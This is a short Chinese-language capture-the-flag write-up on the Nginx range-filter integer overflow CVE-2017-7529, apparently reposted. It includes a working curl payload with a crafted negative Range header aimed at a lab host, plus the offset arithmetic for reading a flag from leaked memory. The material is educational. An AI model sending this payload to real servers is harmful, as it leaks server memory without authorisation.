Nginx整數溢出漏洞 CVE-2017-7529
漏洞描述
在 Nginx 的 range filter 中存在整數溢出漏洞，可以通過帶有特殊構造的 range 的 HTTP 頭的惡意請求引發這個整數溢出漏洞，並導致信息泄露。
- payload：
curl -i http://www.whalwl.site:8040/proxy/demo.png -r -17190,-9223372036854758618 > poc.txt
偏移 605可讀取flag
17190=16585+605
Nginx整數溢出漏洞 Writeup
免責聲明！
本站轉載的文章為個人學習借鑒使用，本站對版權不負任何法律責任。如果侵犯了您的隱私權益，請聯系本站郵箱yoyou2525@163.com刪除。